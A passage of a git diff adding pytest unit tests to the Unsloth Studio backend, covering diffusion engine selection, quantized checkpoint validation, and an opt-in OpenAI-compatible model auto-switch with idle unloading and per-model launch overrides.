weights so auto memory + # planning sees the resident companions, but exclude transformer/ (the GGUF supplies + # it) and non-weight files. A folded-to-zero companion could OOM a resident plan. + (tmp_path / "vae").mkdir() + (tmp_path / "vae" / "diffusion_pytorch_model.safetensors").write_bytes(b"x" * 100) + (tmp_path / "text_encoder").mkdir() + (tmp_path / "text_encoder" / "model.safetensors").write_bytes(b"y" * 50) + (tmp_path / "transformer").mkdir() + (tmp_path / "transformer" / "diffusion_pytorch_model.safetensors").write_bytes(b"z" * 9999) + (tmp_path / "model_index.json").write_bytes(b"{}") # non-weight file, ignored + total = DiffusionBackend._companion_cache_bytes(str(tmp_path)) + assert total == 150 # vae + text_encoder only; transformer/ and json excluded + + def test_reset_step_cache_helper_is_best_effort(): # Calls the transformer's reset hook when present. calls = [] diff --git a/studio/backend/tests/test_diffusion_engine_router.py b/studio/backend/tests/test_diffusion_engine_router.py index 07d495757b..898711e8bd 100644 --- a/studio/backend/tests/test_diffusion_engine_router.py +++ b/studio/backend/tests/test_diffusion_engine_router.py @@ -145,6 +145,31 @@ def test_force_sd_cpp_without_binary_falls_back(monkeypatch): assert _select() == ENGINE_DIFFUSERS +@pytest.mark.parametrize( + "backend, expected", + [("rocm", "rocm"), ("cuda", "cuda"), ("xpu", "vulkan"), ("cpu", "auto"), ("mps", "auto")], +) +def test_install_accelerator_maps_backend(backend, expected): + assert r._install_accelerator_for(backend) == expected + + +def test_force_native_install_uses_gpu_accelerator(monkeypatch): + # Forcing sd_cpp on a ROCm host with no binary must install the ROCm build, not the + # default CPU one -- otherwise the forced-native generation silently runs on CPU. + _set_device(monkeypatch, "rocm") + _set_runnable(monkeypatch) + seen = {} + + def _fake_ensure(**kwargs): + seen.update(kwargs) + return "/usr/bin/sd-cli" + + monkeypatch.setattr(r, "ensure_sd_cpp_binary", _fake_ensure) + monkeypatch.setenv("UNSLOTH_DIFFUSION_ENGINE", "sd_cpp") + assert _select() == ENGINE_SD_CPP + assert seen.get("accelerator") == "rocm" + + # ── active_status annotation ────────────────────────────────────────────────── diff --git a/studio/backend/tests/test_diffusion_prequant.py b/studio/backend/tests/test_diffusion_prequant.py index 2f1a37f8d6..aebbb40af6 100644 --- a/studio/backend/tests/test_diffusion_prequant.py +++ b/studio/backend/tests/test_diffusion_prequant.py @@ -149,6 +149,7 @@ def _load( load_raises = False, exists = True, allow_local = True, + fast_accum = None, ): _FakeTransformer.calls = {} _stub_torch_accelerate(monkeypatch, ckpt, load_raises = load_raises) @@ -171,6 +172,7 @@ def _load( dtype = "bfloat16", hf_token = None, scheme = scheme, + fast_accum = fast_accum, logger = None, ) @@ -218,6 +220,63 @@ def test_load_base_mismatch_is_none(monkeypatch, tmp_path): assert _load(monkeypatch, tmp_path, _good_ckpt(base = "other/model")) is None +def test_load_missing_base_metadata_is_none(monkeypatch, tmp_path): + # A checkpoint whose keys happen to match a different base can load strict=True and then + # render from the wrong weights, so a base was requested but none recorded must be refused. + ckpt = _good_ckpt() + del ckpt["metadata"]["base_model_id"] + assert _load(monkeypatch, tmp_path, ckpt) is None + + +def test_load_fast_accum_mismatch_is_none(monkeypatch, tmp_path): + # fp8 fast-accum is baked into the saved kernels; an explicit request that contradicts + # the recorded value must fall to the dense path (which honors it), not silently use it. + ckpt = _good_ckpt() + ckpt["metadata"]["fast_accum"] = True + assert _load(monkeypatch, tmp_path, ckpt, fast_accum = False) is None + + +def test_load_fast_accum_match_ok(monkeypatch, tmp_path): + ckpt = _good_ckpt() + ckpt["metadata"]["fast_accum"] = True + assert _load(monkeypatch, tmp_path, ckpt, fast_accum = True) is not None + + +def test_load_fast_accum_auto_ignores_baked(monkeypatch, tmp_path): + # An auto (None) request must accept whatever the checkpoint baked, on any GPU class. + ckpt = _good_ckpt() + ckpt["metadata"]["fast_accum"] = True + assert _load(monkeypatch, tmp_path, ckpt, fast_accum = None) is not None + + +def test_load_exclude_tokens_mismatch_is_none(monkeypatch, tmp_path): + # An int8 checkpoint recording a stale exclusion set (would bake M=1 modulation linears + # as int8 and crash) must be rejected rather than loaded. + ckpt = _good_ckpt(scheme = "int8") + ckpt["metadata"]["exclude_name_tokens"] = ["stale_token"] + assert _load(monkeypatch, tmp_path, ckpt, scheme = "int8") is None + + +def test_load_exclude_tokens_match_ok(monkeypatch, tmp_path): + from core.inference.diffusion_transformer_quant import exclude_tokens_for_scheme + + ckpt = _good_ckpt(scheme = "int8") + ckpt["metadata"]["exclude_name_tokens"] = list(exclude_tokens_for_scheme("int8")) + assert _load(monkeypatch, tmp_path, ckpt, scheme = "int8") is not None + + +def test_resolve_checkpoint_path_expands_user(monkeypatch, tmp_path): + # The allowlist gate expands ~, so the existence check must too, or a "~/..." checkpoint + # that passed the gate is silently skipped. + import os + + real = tmp_path / "transformer_fp8.pt" + real.write_bytes(b"x") + monkeypatch.setattr(os.path, "expanduser", lambda p: str(real) if p == "~/ckpt.pt" else p) + source = PrequantSource(kind = "path", location = "~/ckpt.pt", filename = None) + assert pq._resolve_checkpoint_path(source, None) == str(real) + + # ── local-path opt-in gate (RCE guard) ─────────────────────────────────────────── def test_load_local_path_refused_by_default(monkeypatch, tmp_path): # A valid checkpoint at a real file is still refused: torch.load must never run on a diff --git a/studio/backend/tests/test_inference_model_validation.py b/studio/backend/tests/test_inference_model_validation.py index 2427ad35fa..aa6891d4f8 100644 --- a/studio/backend/tests/test_inference_model_validation.py +++ b/studio/backend/tests/test_inference_model_validation.py @@ -220,3 +220,31 @@ def test_walkback_handles_malformed_function_string(): ] ) assert req.messages[-1].tool_call_id == "call_a" + + +# ── DiffusionLoadRequest.attention_backend casing (Literal validated before normalizer) ── +import pytest +from pydantic import ValidationError + +from models.inference import DiffusionLoadRequest + + +def _diff_load(**kw): + return DiffusionLoadRequest(model_path = "repo", gguf_filename = "m.gguf", **kw) + + +def test_attention_backend_casing_and_whitespace_normalized(): + # The dispatcher accepts case/whitespace variants; the before-validator must fold them so + # the lowercase Literal does not 422 an otherwise-valid request. + assert _diff_load(attention_backend = "CuDNN").attention_backend == "cudnn" + assert _diff_load(attention_backend = " sage ").attention_backend == "sage" + + +def test_attention_backend_none_preserved(): + assert _diff_load(attention_backend = None).attention_backend is None + assert _diff_load().attention_backend is None + + +def test_attention_backend_unknown_still_rejected(): + with pytest.raises(ValidationError): + _diff_load(attention_backend = "bogus") diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py new file mode 100644 index 0000000000..7d2e2213b3 --- /dev/null +++ b/studio/backend/tests/test_openai_auto_switch.py @@ -0,0 +1,3039 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion. + +No GPU or llama-server: the backend and the load route are mocked, mirroring +tests/test_gguf_completion_usage.py. +""" + +import asyncio + +import pytest + +import routes.inference as inference_route +from models.inference import LoadRequest +from core.inference import local_model_resolver as resolver +from utils import openai_auto_switch_settings as settings + + +class _FakeBackend: + def __init__( + self, + loaded_id = None, + hf_variant = None, + advertised_id = None, + ): + self.model_identifier = loaded_id + self.is_loaded = loaded_id is not None + self.hf_variant = hf_variant + self._openai_advertised_id = advertised_id + + +class _LoadRecorder: + """Stand-in for the load route: records calls and simulates a load.""" + + def __init__( + self, + backend, + fail = False, + ): + self.backend = backend + self.calls = [] + self.fail = fail + + async def __call__( + self, + request, + fastapi_request, + current_subject = None, + ): + self.calls.append(request) + if self.fail: + from fastapi import HTTPException + raise HTTPException(status_code = 503, detail = "load failed") + self.backend.model_identifier = request.model_path + self.backend.is_loaded = True + # Mirror _load_model_impl: a load advertises its own id until the + # auto-switch caller overwrites it with the repo id. + self.backend._openai_advertised_id = None + return None + + +def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder): + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle + # gate that auto-switch already owns, so it calls the impl directly). + monkeypatch.setattr(inference_route, "_load_model_impl", recorder) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + +def _run_hook(model = "some/model"): + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester")) + + +def test_flag_off_never_loads(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") + assert rec.calls == [] + + +def test_unknown_model_falls_through(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_already_loaded_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + # Case-insensitive match against the loaded identifier. + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/A-GGUF") + assert rec.calls == [] + + +def test_known_unloaded_model_switches_once(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert isinstance(req, LoadRequest) + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert backend.model_identifier == "unsloth/B-GGUF" + + +def test_concurrent_same_target_loads_once(monkeypatch): + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + + async def _race(): + await asyncio.gather( + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + ) + + asyncio.run(_race()) + assert len(rec.calls) == 1 + + +def test_load_failure_propagates(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend, fail = True) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException): + _run_hook("unsloth/B-GGUF") + + +def test_same_repo_different_variant_switches(monkeypatch): + # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec.calls) == 1 + assert rec.calls[0].gguf_variant == "Q8_0" + + +def test_same_repo_same_variant_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"), # case-insensitive + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert rec.calls == [] + + +def test_responses_endpoint_wires_auto_switch_before_dispatch(): + # The /v1/responses endpoint must invoke the auto-switch hook before either + # dispatcher so streaming requests switch too. Asserted on the source, which + # is immune to test-ordering effects on the shared inference module. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "_maybe_auto_switch_model" in src + hook_at = src.index("_maybe_auto_switch_model") + assert hook_at < src.index("_responses_stream") + assert hook_at < src.index("_responses_non_streaming") + + +def test_embeddings_endpoint_wires_auto_switch_before_loaded_check(): + # /v1/embeddings is model-bearing too, so it must auto-switch before the + # loaded-state gate. Asserted on the source for order-independence. + import inspect + + src = inspect.getsource(inference_route.openai_embeddings) + assert "_auto_switch_from_request_body" in src + assert src.index("_auto_switch_from_request_body") < src.index("is_loaded") + + +def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check(): + # The Anthropic token-count endpoint must count with the requested model. + import inspect + + src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "_maybe_auto_switch_model" in src + assert src.index("_maybe_auto_switch_model") < src.index("is_loaded") + + +def test_openai_compat_routes_bound_to_handlers_with_auth(): + # Inserting a helper between a @router.post decorator and its handler silently + # rebinds the route to the helper and drops its auth dependency (this happened to + # /messages/count_tokens). The source-inspection tests above miss it because they + # call the handler directly. Lock the path -> (handler, auth) mapping at the route + # level so any decorator/handler split is caught. + expected = { + ("POST", "/chat/completions"): "openai_chat_completions", + ("POST", "/completions"): "openai_completions", + ("POST", "/embeddings"): "openai_embeddings", + ("POST", "/responses"): "openai_responses", + ("POST", "/messages"): "anthropic_messages", + ("POST", "/messages/count_tokens"): "anthropic_count_tokens", + ("POST", "/audio/generate"): "generate_audio", + ("GET", "/models"): "openai_list_models", + ("GET", "/models/{model_id:path}"): "openai_retrieve_model", + } + seen = {} + for r in inference_route.router.routes: + path = getattr(r, "path", None) + endpoint = getattr(r, "endpoint", None) + if path is None or endpoint is None: + continue + for method in getattr(r, "methods", None) or (): + seen[(method, path)] = r + for key, handler in expected.items(): + assert key in seen, f"route {key} is not registered" + route = seen[key] + assert ( + route.endpoint.__name__ == handler + ), f"{key} bound to {route.endpoint.__name__}, expected {handler}" + deps = [d.call.__name__ for d in route.dependant.dependencies] + assert "get_current_subject" in deps, f"{key} lost its auth dependency" + + +# ── resolver ──────────────────────────────────────────────────────── + + +def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path): + from types import SimpleNamespace + + # Transformers/safetensors folder: not a GGUF, must be rejected. + tf = tmp_path / "tf-model" + tf.mkdir() + (tf / "config.json").write_text("{}") + (tf / "model.safetensors").write_text("x") + assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None + + # Standalone .gguf file: an entry with no quant sub-selection. + bare = tmp_path / "x.gguf" + bare.write_text("x") + e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare))) + assert e is not None and e.variants == () + + # HF-cache snapshots with a quant subdir (the nested layout the previous + # shallow glob missed): must still be detected. + repo = tmp_path / "models--org--repo" + (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True) + (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x") + e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo))) + assert e2 is not None and e2.variants + + +def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path): + # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a + # bare mmproj projector (it only filters mmproj inside directory scans). A + # projector is not a servable model, so the resolver must reject it or + # /v1/models advertises it and a switch could load it over the real weights. + from types import SimpleNamespace + + proj = tmp_path / "mmproj-F16.gguf" + proj.write_text("x") + assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None + assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False + + +def _entry(loader_id, *variants): + # load_path == loader_id for tests; production stores a concrete local path. + return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants)) + + +def test_resolver_matches_and_splits_variant(monkeypatch): + monkeypatch.setattr( + resolver, + "_build_index", + lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")}, + ) + resolver._scan = (0.0, {}) # force a rescan + # A requested variant present on disk resolves (case-insensitive). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A bare id resolves to a concrete local quant, never a remote one. + assert resolver.resolve_local_gguf("unsloth/B-GGUF") == ( + "unsloth/B-GGUF", + "UD-Q5_K_XL", + "unsloth/B-GGUF", + ) + # A variant that is not on disk must not resolve (no remote download). + assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None + assert resolver.resolve_local_gguf("totally/unknown") is None + assert resolver.resolve_local_gguf("") is None + + +def test_resolver_failsafe_on_internal_error(monkeypatch): + # Resolution is best-effort: any internal failure must fall through to None + # so the request still serves the loaded model instead of 500-ing. The hook + # calls resolve_local_gguf without its own guard, so the guard lives here. + def boom(): + raise RuntimeError("scan blew up") + + monkeypatch.setattr(resolver, "_build_index", boom) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None + + +def test_resolver_nonstring_model_is_failsafe(): + # /v1/completions and /v1/embeddings pass body.get("model") straight through, + # so a non-string must not raise on .strip(). + assert resolver.resolve_local_gguf(123) is None + assert resolver.resolve_local_gguf({"a": 1}) is None + assert resolver.resolve_local_gguf(None) is None + + +def test_resolver_exact_id_with_colon_wins(monkeypatch): + # A local id that itself contains a colon (e.g. a Windows path) must match + # exactly rather than being split at the drive-letter colon. + win = r"C:\models\foo.gguf" + monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)}) + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf(win) == (win, None, win) + + +# ── settings coercion ─────────────────────────────────────────────── + + +def test_setting_coercion(): + assert settings._coerce_bool("on") is True + assert settings._coerce_bool("off") is False + assert settings._coerce_bool("garbage") is None + assert settings._coerce_int("5") == 5 + assert settings._coerce_int(-3) == 0 + assert settings._coerce_int("nope") is None + + +# ── idle keep-warm ────────────────────────────────────────────────── + + +def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch): + # Server idle far longer than the TTL, then a model is loaded: the load + # transition stamps activity so the next poll must not unload it. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1) + kw._inflight = 0 + kw._last_active = time.monotonic() - 3600 + + unloads = [] + backend = _FakeBackend("unsloth/Fresh-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.05) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch): + # The headline behavior (the other idle tests only cover the negative paths): + # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly + # once and records its identity so a later alias request can reload that variant. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005) + kw._inflight = 0 + kw._pending = 0 + kw._last_active = time.monotonic() - 3600 + kw._last_unloaded_model = None + + unloads = [] + backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M") + + def _unload(): + unloads.append(1) + backend.is_loaded = False # a real unload clears the slot + + backend.unload_model = _unload + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02)) + await asyncio.sleep(0.2) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [1] # freed once, not repeatedly + stash = kw.get_last_unloaded_model() + assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M" + + +def test_audio_generate_is_tracked_as_inference_path(): + # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so + # the keep-warm middleware must count it as in-flight inference. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/chat/completions") is True + assert _is_inference_path("/api/inference/models/list") is False + + +def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch): + # An in-flight request (inflight > 0) must protect the model from unload + # even when it has been idle by wall-clock past the TTL. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600) + + unloads = [] + backend = _FakeBackend("unsloth/Active-GGUF") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.08) + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + assert unloads == [] + + +# ── per-model launch overrides ────────────────────────────────────── + + +def test_auto_switch_applies_model_override(monkeypatch): + # A configured model loads with its saved launch flags, not bare defaults. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, + "get_model_override", + lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096}, + ) + + _run_hook("unsloth/B-GGUF") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert req.llama_extra_args == ["--n-gpu-layers", "20"] + assert req.max_seq_length == 4096 + + +def test_auto_switch_applies_partial_override(monkeypatch): + # Only llama_extra_args is configured: it is applied, max_seq_length stays default. + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr( + settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]} + ) + + _run_hook("unsloth/B-GGUF") + req = rec.calls[0] + assert req.llama_extra_args == ["--flash-attn"] + assert req.max_seq_length == 0 # untouched default + + +def _mock_override_store(monkeypatch): + """Back the override read + atomic-merge write with an in-memory dict.""" + import storage.studio_db as db + + store = {} + + def _merge_entry(key, entry_key, entry_value): + current = dict(store.get(key) or {}) + if entry_value: + current[entry_key] = entry_value + else: + current.pop(entry_key, None) + store[key] = current + return current + + monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry) + monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default)) + settings._cache.clear() + return store + + +def test_model_override_roundtrip(monkeypatch): + _mock_override_store(monkeypatch) + + settings.set_model_override( + "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096 + ) + assert settings.get_model_override("unsloth/B-GGUF") == { + "llama_extra_args": ["--n-gpu-layers", "20"], + "max_seq_length": 4096, + } + # An override with no fields removes the entry rather than storing an empty one. + settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None) + assert settings.get_model_override("unsloth/B-GGUF") == {} + assert settings.get_model_overrides() == {} + + +def test_override_route_rejects_managed_flag_and_removes(monkeypatch): + import routes.settings as settings_route + from fastapi import HTTPException + + _mock_override_store(monkeypatch) + + # A managed/denylisted llama-server flag is rejected with 400, not 500. + bad = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"] + ) + with pytest.raises(HTTPException) as excinfo: + settings_route.update_openai_auto_switch_override(bad, "tester") + assert excinfo.value.status_code == 400 + + # A valid override is stored, then an empty payload removes it through the route. + ok = settings_route.ModelOverridePayload( + model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096 + ) + resp = settings_route.update_openai_auto_switch_override(ok, "tester") + assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096 + assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"] + + empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF") + resp2 = settings_route.update_openai_auto_switch_override(empty, "tester") + assert "unsloth/B-GGUF" not in resp2.overrides + + +def test_model_override_rejects_zero_max_seq_length(): + # 0 is not a valid sequence length and the setter drops a falsy value, so the + # payload must reject it at the boundary instead of accepting then discarding it. + import pydantic + import routes.settings as settings_route + + with pytest.raises(pydantic.ValidationError): + settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0) + assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1 + + +def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch): + # The PUT must persist enabled + idle in a single upsert so a settings write can't + # leave one key updated and the other stale. + import routes.settings as settings_route + import storage.studio_db as db + from utils.openai_auto_switch_settings import ( + AUTO_UNLOAD_IDLE_SETTING_KEY, + OPENAI_AUTO_SWITCH_SETTING_KEY, + ) + + calls = [] + + def _capture(mapping): + calls.append(dict(mapping)) + return {} + + monkeypatch.setattr(db, "upsert_app_settings", _capture) + settings._cache.clear() + + payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120) + resp = settings_route.update_openai_auto_switch(payload, "tester") + assert resp.enabled is True and resp.auto_unload_idle_seconds == 120 + assert len(calls) == 1 # one transaction, not two + written = calls[0] + assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True + assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120 + + +def test_settings_report_idle_unload_active_when_env_backed(monkeypatch): + # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is + # off, the settings response must report idle_unload_active so the UI shows the + # feature as active via env rather than "needs enable". + import routes.settings as settings_route + + monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr( + settings_route, "get_auto_unload_idle_seconds", lambda: 600 + ) # effective > 0 + resp = settings_route.get_openai_auto_switch("tester") + assert resp.enabled is False and resp.idle_unload_active is True + # Effective TTL 0 (off, nothing env-backed) -> not active. + monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0) + assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False + + +# ── /v1/models discovery ──────────────────────────────────────────── + + +def test_v1_models_retrieve_is_case_insensitive(monkeypatch): + # The resolver lowercases its index, so a retrieve that differs only in case + # from a catalog id must still hit (200), not 404. Guards the .lower() compare + # in openai_retrieve_model against a silent revert. (The full local catalog is + # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.) + from fastapi import HTTPException + + monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: []) # nothing loaded + + async def _catalog(): + return [ + {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"}, + ] + + monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog) + + # A catalog id retrieved with different casing still resolves. + obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester")) + assert obj["id"] == "unsloth/A-GGUF" + # A truly unknown id still 404s. + with pytest.raises(HTTPException) as unknown: + asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester")) + assert unknown.value.status_code == 404 + + +# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ── + + +def test_index_excludes_hidden_models(tmp_path, monkeypatch): + # The llama.cpp validation probe and RAG embedding weights are hidden from + # Studio's pickers; they must never become auto-switch targets. + from types import SimpleNamespace + import routes.models as models_route + + normal = tmp_path / "normal-Q4_K_M.gguf" + normal.write_bytes(b"x" * 32) + probe = tmp_path / "stories260K.gguf" # llama.cpp install-validation probe + probe.write_bytes(b"x" * 32) + + def _info(mid, path): + return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid) + + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)], + ) + monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: []) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path) + resolver._scan = (0.0, {}) + + index = resolver._index() + assert "org/normal-gguf" in index # keys are normalized to lowercase + assert "ggml-org/models" not in index + # And the hidden probe cannot be auto-switched to by name. + resolver._scan = (0.0, {}) + assert resolver.resolve_local_gguf("ggml-org/models") is None + + +def test_idle_disabled_when_auto_switch_off(monkeypatch): + # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is + # off, so the idle loop and keep-warm middleware can never unload the model. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 60 + + +def test_count_tokens_is_tracked_as_inference_path(): + # count_tokens counts via the loaded tokenizer, so idle-unload must not pull + # the model out from under it; it has to be a tracked in-flight path. + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/v1/messages/count_tokens") is True + assert _is_inference_path("/api/inference/messages/count_tokens") is True + assert _is_inference_path("/v1/messages") is True + + +# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ── + + +def 